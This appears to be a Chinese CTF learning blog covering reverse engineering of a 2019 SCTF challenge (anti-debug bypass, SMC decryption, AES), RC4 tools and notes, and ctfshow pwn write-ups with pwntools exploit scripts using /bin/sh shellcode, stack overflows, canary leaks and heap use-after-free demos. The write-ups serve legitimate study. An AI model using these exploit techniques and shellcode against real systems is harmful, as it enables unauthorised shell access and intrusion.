ModuleHandleW = GetModuleHandleW(0);
sub_402320(ModuleHandleW);
sub_4024A0();
v4 = sub_402870(std::cout, "welcome to 2019 sctf");
std::ostream::operator<<(v4, sub_402AC0);
sub_402870(std::cout, "please input your ticket:");
sub_402AF0(v22);
v25[4] = 0;
v26 = 15;
LOBYTE(v25[0]) = 0;
sub_401D30(v25, Src, strlen(Src));
v28 = 0;
v5 = sub_4020D0(Block, (int)v25); // AES的CBC模式
v6 = strlen(aPvfqyc4ttc2uxr);
v7 = v5;
if ( v5[5] >= 0x10u )
v7 = (_DWORD *)*v5;
v8 = v5[4];
v9 = aPvfqyc4ttc2uxr;
v10 = v8;
if ( v6 < v8 )
v10 = v6;
v12 = v10 < 4;
v11 = v10 - 4;
if ( v12 )
{
LABEL_8:
if ( v11 == -4 )
goto LABEL_17;
}
else
{
while ( *v7 == *(_DWORD *)v9 )
{
++v7;
v9 += 4;
v12 = v11 < 4;
v11 -= 4;
if ( v12 )
goto LABEL_8;
}
}
v12 = *(_BYTE *)v7 < (unsigned __int8)*v9;
if ( *(_BYTE *)v7 != *v9
|| v11 != -3
&& ((v13 = *((_BYTE *)v7 + 1), v12 = v13 < (unsigned __int8)v9[1], v13 != v9[1])
|| v11 != -2
&& ((v14 = *((_BYTE *)v7 + 2), v12 = v14 < (unsigned __int8)v9[2], v14 != v9[2])
|| v11 != -1 && (v15 = *((_BYTE *)v7 + 3), v12 = v15 < (unsigned __int8)v9[3], v15 != v9[3]))) )
{
v16 = v12 ? -1 : 1;
goto LABEL_18;
}
LABEL_17:
v16 = 0;
LABEL_18:
if ( !v16 )
{
if ( v6 <= v8 )
v16 = v6 < v8;
else
v16 = -1;
}
if ( v24 >= 0x10 )
{
v17 = Block[0];
if ( v24 + 1 >= 0x1000 )
{
v17 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v17 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v17);
}
v28 = -1;
Block[4] = 0;
v24 = 15;
LOBYTE(Block[0]) = 0;
if ( v26 >= 0x10 )
{
v18 = v25[0];
if ( v26 + 1 >= 0x1000 )
{
v18 = (void *)*((_DWORD *)v25[0] - 1);
if ( (unsigned int)(v25[0] - v18 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v18);
}
v19 = "Have fun!";
if ( v16 )
v19 = "A forged ticket!!";
v20 = sub_402870(std::cout, v19);
std::ostream::operator<<(v20, sub_402AC0);
system("pause");
return 0;
}

AES的CBC怎么看出来的,emmm,我暂时没深入了解这个加密,所以问ai的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __thiscall sub_402320(_DWORD *this)
{
int v1; // eax
__int16 v2; // bx
const char *v3; // esi
int i; // edi
int v5; // eax

v1 = this[15];
v2 = *(_WORD *)((char *)this + v1 + 6);
v3 = (char *)this + v1 + 248;
for ( i = 0; i < v2; ++i )
{
v5 = strcmp(v3, ".SCTF");
if ( v5 )
v5 = v5 < 0 ? -1 : 1;
if ( !v5 )
{
DebugBreak();
return;
}
v3 += 40;
}
}
1
2
3
4
5
6
7
8
9
int sub_4024A0()
{
unsigned int NtGlobalFlag; // [esp+10h] [ebp-20h]

NtGlobalFlag = NtCurrentPeb()->NtGlobalFlag;
if ( NtCurrentPeb()->BeingDebugged || NtGlobalFlag == 112 )
exit(-5);
return ((int (*)(void))dword_404000[0])();
}

这两个是反调试,这个比NepCTF好多了。至少反调试容易找到wuuuuu~~~~

和nep一样直接patch掉反调试,当然你也可以动调的时候改变ZF来改变线程的走向。

绕过反调试,但是到了call就会报错404000。

这里参考大佬的用IDA的python脚本来手动还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall sub_402450(int a1, int a2, int a3, int a4)
{
int result; // eax
int v7; // edx
char v8; // cl

result = 0;
if ( a2 > 0 )
{
while ( 1 )
{
v7 = 0;
if ( a4 > 0 )
break;
LABEL_5:
if ( result >= a2 )
return result;
}
while ( result < a2 )
{
v8 = aSycloversyclov[v7++];
*(_BYTE *)(result + a1) = ~(*(_BYTE *)(result + a1) ^ v8);
++result;
if ( v7 >= a4 )
goto LABEL_5;
}
}
return result;
}

找到smc的地方,用脚本来还原

1
2
3
4
5
6
7
8
add1=0x404000
add2=0x405000
key="sycloversyclover"
bb=0
for i in range(add1,add2,1):
wr=(~(idc.get_wide_byte(i) ^ ord(key[bb%len(key)]))&0xff) #这里&0xff是避免取反时高位补一
ida_bytes.patch_byte(i,wr)
bb+=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int sub_404000()
{
unsigned int i; // edx
unsigned int v1; // esi
unsigned int result; // eax
unsigned int v3; // eax
char v4; // dl

for ( i = 0; i < strlen(aPvfqyc4ttc2uxr); ++i )
--aPvfqyc4ttc2uxr[i];
v1 = 0;
result = strlen(aPvfqyc4ttc2uxr);
if ( (result & 0xFFFFFFFE) != 0 )
{
do
{
v3 = result - v1;
v4 = *(_BYTE *)(v3 + 4231191);
*(_BYTE *)(v3 + 4231191) = aPvfqyc4ttc2uxr[v1];
aPvfqyc4ttc2uxr[v1++] = v4;
result = strlen(aPvfqyc4ttc2uxr);
}
while ( v1 < result >> 1 );
}
return result;
}

解密得到nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=

最后秘钥为sycloversyclover,偏移量为sctfsctfsctfsctf

1
sctf{Ae3_C8c_I28_pKcs79ad4}

烽火杯的smc

这个算是最简单的反调试改jz就可以,直接linux动调就可以还原了,就不都说了xixi。

感觉打了这么就得逆向,没AI感觉就不中了,啥也干不了,于是从现在开始学习原理知识。

开始rc4的学习以后碰到rc4就放到这个里面来。开始全栈之逆向之路。

标准rec4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_INPUT_LEN 1024

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 加密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 二进制转十六进制 */
char* bin2hex(const unsigned char* bin, size_t len) {
if (len == 0) return NULL;

char* hex = (char*)malloc(len * 2 + 1);
if (!hex) return NULL;

for (size_t i = 0; i < len; i++) {
sprintf_s(hex + i * 2, 3, "%02X", bin[i]); // 使用安全的 sprintf_s
}
hex[len * 2] = '\0';
return hex;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char plaintext[MAX_INPUT_LEN];

printf("=== RC4 加密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入明文: ", plaintext, sizeof(plaintext));

size_t len = strlen(plaintext);
if (len == 0) {
printf("错误: 明文不能为空\n");
return 1;
}

// 分配内存
unsigned char* ciphertext = (unsigned char*)malloc(len);
if (!ciphertext) {
fprintf(stderr, "错误: 内存分配失败\n");
return 1;
}

// 加密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, (const unsigned char*)plaintext, ciphertext, len);

// 转换为十六进制
char* hex_cipher = bin2hex(ciphertext, len);
if (!hex_cipher) {
fprintf(stderr, "错误: 十六进制转换失败\n");
free(ciphertext);
return 1;
}

// 输出结果
printf("\n加密结果:\n");
printf("密钥: %s\n", key);
printf("明文: %s\n", plaintext);
printf("密文(HEX): %s\n", hex_cipher);

// 清理内存
free(ciphertext);
free(hex_cipher);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

标准rec4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_INPUT_LEN 2048

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 解密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 十六进制转二进制 */
unsigned char* hex2bin(const char* hex, size_t* len) {
size_t hex_len = strlen(hex);

// 检查十六进制长度
if (hex_len % 2 != 0) {
fprintf(stderr, "错误: 无效的十六进制长度\n");
return NULL;
}

*len = hex_len / 2;
if (*len == 0) {
return NULL;
}

unsigned char* bin = (unsigned char*)malloc(*len);
if (!bin) return NULL;

for (size_t i = 0; i < *len; i++) {
char hex_byte[3] = { 0 };
hex_byte[0] = hex[i * 2];
hex_byte[1] = hex[i * 2 + 1];

char* endptr;
unsigned long value = strtoul(hex_byte, &endptr, 16);

if (*endptr != '\0' || value > 255) {
fprintf(stderr, "错误: 无效的十六进制字节 '%s'\n", hex_byte);
free(bin);
return NULL;
}

bin[i] = (unsigned char)value;
}

return bin;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char hex_cipher[MAX_INPUT_LEN];

printf("=== RC4 解密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入密文(HEX): ", hex_cipher, sizeof(hex_cipher));

// 验证十六进制输入
for (size_t i = 0; hex_cipher[i]; i++) {
if (!isxdigit((unsigned char)hex_cipher[i])) { // 显式类型转换
fprintf(stderr, "错误: 无效的十六进制字符 '%c'\n", hex_cipher[i]);
return 1;
}
}

// 转换为二进制
size_t cipher_len;
unsigned char* ciphertext = hex2bin(hex_cipher, &cipher_len);
if (!ciphertext || cipher_len == 0) {
fprintf(stderr, "错误: 十六进制转换失败\n");
return 1;
}

// 分配解密缓冲区
unsigned char* decrypted = (unsigned char*)calloc(cipher_len + 1, 1);
if (!decrypted) {
fprintf(stderr, "错误: 内存分配失败\n");
free(ciphertext);
return 1;
}

// 解密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, ciphertext, decrypted, cipher_len);

// 确保字符串终止
decrypted[cipher_len] = '\0';

// 输出结果
printf("\n解密结果:\n");
printf("密钥: %s\n", key);
printf("密文(HEX): %s\n", hex_cipher);
printf("解密文本: %s\n", decrypted);

// 清理内存
free(ciphertext);
free(decrypted);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

这里来详细了解一下标准rc4

算法概述:RC4(Rivest Cipher 4)是由Ron Rivest在1987年设计的流密码算法,被广泛应用于SSL/TLS、WEP等协议中。它是一种对称

加密算法,使用相同的密钥进行加密和解密。

核心组件

  1. S盒(State Box)
  • 256字节的数组(0-255)
  • 初始化为顺序值:S[0]=0, S[1]=1, ..., S[255]=255
  1. 密钥调度算法(KSA)
  • 使用密钥初始化S盒
  • 伪代码:
1
2
3
4
j = 0
for i from 0 to 255:
j = (j + S[i] + key[i % key_length]) % 256
swap(S[i], S[j])
  1. 伪随机生成算法(PRGA)
  • 生成密钥流字节
  • 伪代码:
1
2
3
4
5
i = (i + 1) % 256
j = (j + S[i]) % 256
swap(S[i], S[j])
K = S[(S[i] + S[j]) % 256]
return K
  1. 加密/解密过程

    • 明文/密文与密钥流字节异或
    • ciphertext_byte = plaintext_byte XOR K
    • plaintext_byte = ciphertext_byte XOR K

详细加密流程

  1. 步骤1: 密钥调度(KSA)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void rc4_init(RC4_CTX *ctx, const unsigned char *key, size_t key_len) {
unsigned char j = 0;
// 初始化S盒
for (int i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

// 重置索引
ctx->i = 0;
ctx->j = 0;

// 使用密钥打乱S盒
for (int i = 0; i < 256; i++) {
j = (j + ctx->S[i] + key[i % key_len]) % 256;
// 交换S[i]和S[j]
unsigned char temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

KSA简而言之就是先初始化S盒在用key打乱S盒。

  1. 步骤2: 生成密钥流字节(PRGA)
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char rc4_generate_byte(RC4_CTX *ctx) {
// 更新索引
ctx->i = (ctx->i + 1) % 256;
ctx->j = (ctx->j + ctx->S[ctx->i]) % 256;

// 交换S[i]和S[j]
unsigned char temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;

// 计算密钥流字节
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) % 256];
}

PRGA简而言之生成密钥流

  1. 步骤3: 加密数据
1
2
3
4
5
6
7
void rc4_crypt(RC4_CTX *ctx, const unsigned char *input, 
unsigned char *output, size_t len) {
for (size_t n = 0; n < len; n++) {
// 生成密钥流字节并与输入字节异或
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

总结:我可以发现只要得到秘钥流就可以通过密文和秘钥流异或得到明文,当然这个用的时候得保证这个异或没有被魔改。

pwn87

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

fgets(s, 50, stdin);存在栈溢出漏洞。

50 - 0x20 - 0x04 = 14

可利用的空间不足,要利用栈迁移。

1
ROPgadget --binary=pwn --only='jmp|ret'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ ROPgadget --binary=pwn --only='jmp|ret'
Gadgets information
============================================================
0x08048bcf : jmp 0x2825346b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp esp
0x0804837a : ret
0x080484ce : ret 0xeac1

Unique gadgets found: 13

找到0x08048d17 : jmp esp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 连接远程服务器
p = remote('pwn.challenge.ctf.show', 28287)

# 设置上下文为 32 位(i386)
context(arch='i386', os='linux', log_level='debug')

# 加载 ELF 文件
elf = ELF('./pwn')

# 定义 x86 shellcode(注意前面加 b 表示 bytes)
shellcode_x86 = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
b"\x0b\xcd\x80"
)

# 生成 sub esp, 0x28; jmp esp 的机器码
sub_esp_jmp = asm('sub esp, 0x28; jmp esp')

# 固定地址(需根据实际程序确认)
jmp_esp = 0x08048d17

# 构造 payload
payload = shellcode_x86
payload += b'b' * (0x20 - len(shellcode_x86)) # 填充到 0x20
payload += b'bbbb' # ebp
payload += p32(jmp_esp) # 覆盖返回地址
payload += sub_esp_jmp # 跳转指令

# 发送 payload
p.sendline(payload)

# 交互模式
p.interactive()

解释一下疑惑点,当执行到p32(jmp_esp);由于函数返回时执行leave ret;leave:pop ebp 是esp会指向ebp + 4 也就是 sub_esp_jmp;然

后esp 转到 esp - 0x28的位置,也就是s的起始位置;jmp esp使得esp指向s的起始位置,ret使得esp指向eip,执行shellcode。

pwn88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?");
v5 = __isoc99_scanf("%llx %d", v6, &v4);
if ( v5 != 2 )
return 0;
*(_BYTE *)v6[0] = v4;
if ( v4 == 0xFF )
puts("No flag for you");
return 0;
}

可以看到可以用v4来修改v6这个内存地址。

这个只有一次读入肯定是不够的,所以要构造一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
text:00000000004006F2                 push    rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d"
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp+var_8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; ---------------------------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn

再汇编中我们可以看到

1
.text:0000000000400767                 jnz     short loc_400773;

我们可以利用这个使得其调回到000000000040071D到达printf的地址进行二次输入。第二次输入(修改jnzjmp)达到无条件转跳,

从而达到循环。

然后利用单字节写入在0x0000000000400769写入shellcode,最后再利用修改jmp转跳到shellcode的地址来执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# 设置目标程序(根据需求选择一种连接方式)
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', '28194') # 远程连接

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')

text_addr = 0x400767 # 需要修改的关键指令地址

def write_data(addr, data):
"""向指定地址写入数据(实际只修改最低字节)"""
p.sendlineafter('Where What?', f'{hex(addr)} {data}')

# 第一步:修改跳转偏移(保留原指令结构)
# 将jnz指令的偏移改为0xB6(-0x4A的补码)
jnz_offset = u32(asm('jnz $-0x4A')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, jnz_offset)

# 第二步:修改操作码为jmp(短跳转)
jmp_opcode = u32(asm('jmp $-0x4A')[0:1].ljust(4, b'\x00'))
write_data(text_addr, jmp_opcode)

# 第三步:在text+2位置注入shellcode
shellcode = asm('''
mov rax, 0x68732f6e69622f # "/bin/sh"的十六进制
push rax
mov rdi, rsp # 文件名参数
mov rax, 59 # execve系统调用号
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
''')

shellcode_addr = text_addr + 2
for i, byte in enumerate(shellcode):
write_data(shellcode_addr + i, byte) # 逐字节写入shellcode

# 第四步:修正跳转偏移为+2(指向shellcode起始位置)
corrected_offset = u32(asm('jnz $+0x2')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, corrected_offset)

# 获取交互式shell
p.interactive()

pwn89

这题我写在[canary](pwn各类题型总结 | 网络幻影)这块

pwn 90

利用第一个read和printf泄露canary

再利用栈溢出将返回地址的最低位覆盖成后门地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

# 启动进程
#p = process('./pwn')
p = remote("pwn.challenge.ctf.show",28145)

# 接收欢迎消息
p.recvuntil(b'Welcome CTFshow:')

# 构造第一个payload:40字节填充 + 1字节覆盖Canary最低位
payload1 = b'A' * 40 + b'B'
p.send(payload1)

# 接收数据直到 'Hello ' 后的内容
p.recvuntil(b'Hello ')
data = p.recvuntil(b':\n', drop=True)

log.info(f"Received data length: {len(data)}")
if len(data) < 48:
log.error("Did not receive enough data")
p.close()
exit(1)

# 提取 Canary
canary_leaked = data[41:48] # 我们发的 B 后面7字节
canary = b'\x00' + canary_leaked # Canary 高位补 \x00
canary_val = u64(canary.ljust(8, b'\x00'))

log.success(f"Leaked canary: {hex(canary_val)}")

# 构造第二个payload
payload2 = b'A' * 40 + p64(canary_val) + b'B' * 8 + b'\x3f'

# 调试查看payload
#log.info("Payload2 dump:")
#print(hexdump(payload2))

p.send(payload2)
#gdb.attach(p)
#pause()
# 交互模式
p.interactive()

pwn 145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    * *************************************                           
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大,那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x18f5260
第二个 b = malloc(0x256) 在: 0x18f5780
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里
第一次申请的 0x18f5260 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x18f5260
第三次 c = malloc(0x500) 在: 0x18f5260
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x18f5260 指向 CCCCCCCC
第一次申请的 a 0x18f5260 指向 CCCCCCCC
可以看到,虽然我们刚刚看的是 a 的,但它的内容却是 "CCCCCCCC"
sh
cat ctfshow_flag
ctfshow{3f139a53-9718-4b95-936c-a73c2296849b}

pwn146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
申请0x20大小的内存p1 的地址: 0x13ba010
把p1[1]赋值为Printf函数,然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null,所以p1[1]仍然是Printf函数,仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的
p2 的地址: 0x13ba010
p1 的地址: 0x13ba010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

$sh
cat flag
ctfshow{5247ed61-a52c-4a9d-8dcd-53b8467a17ec}

pwn147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup -- Double free
* *************************************
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x1b39010
第二个 malloc(8): 0x1b39030
第三个 malloc(8): 0x1b39050
free 掉第一个
当我们再次 free 0x1b39010 的时候, 程序将会崩溃因为 0x1b39010 在 free 链表的第一个位置上
我们先 free 0x1b39030.
现在我们就可以再次 free 0x1b39010 了, 因为他现在不在 free 链表的第一个位置上
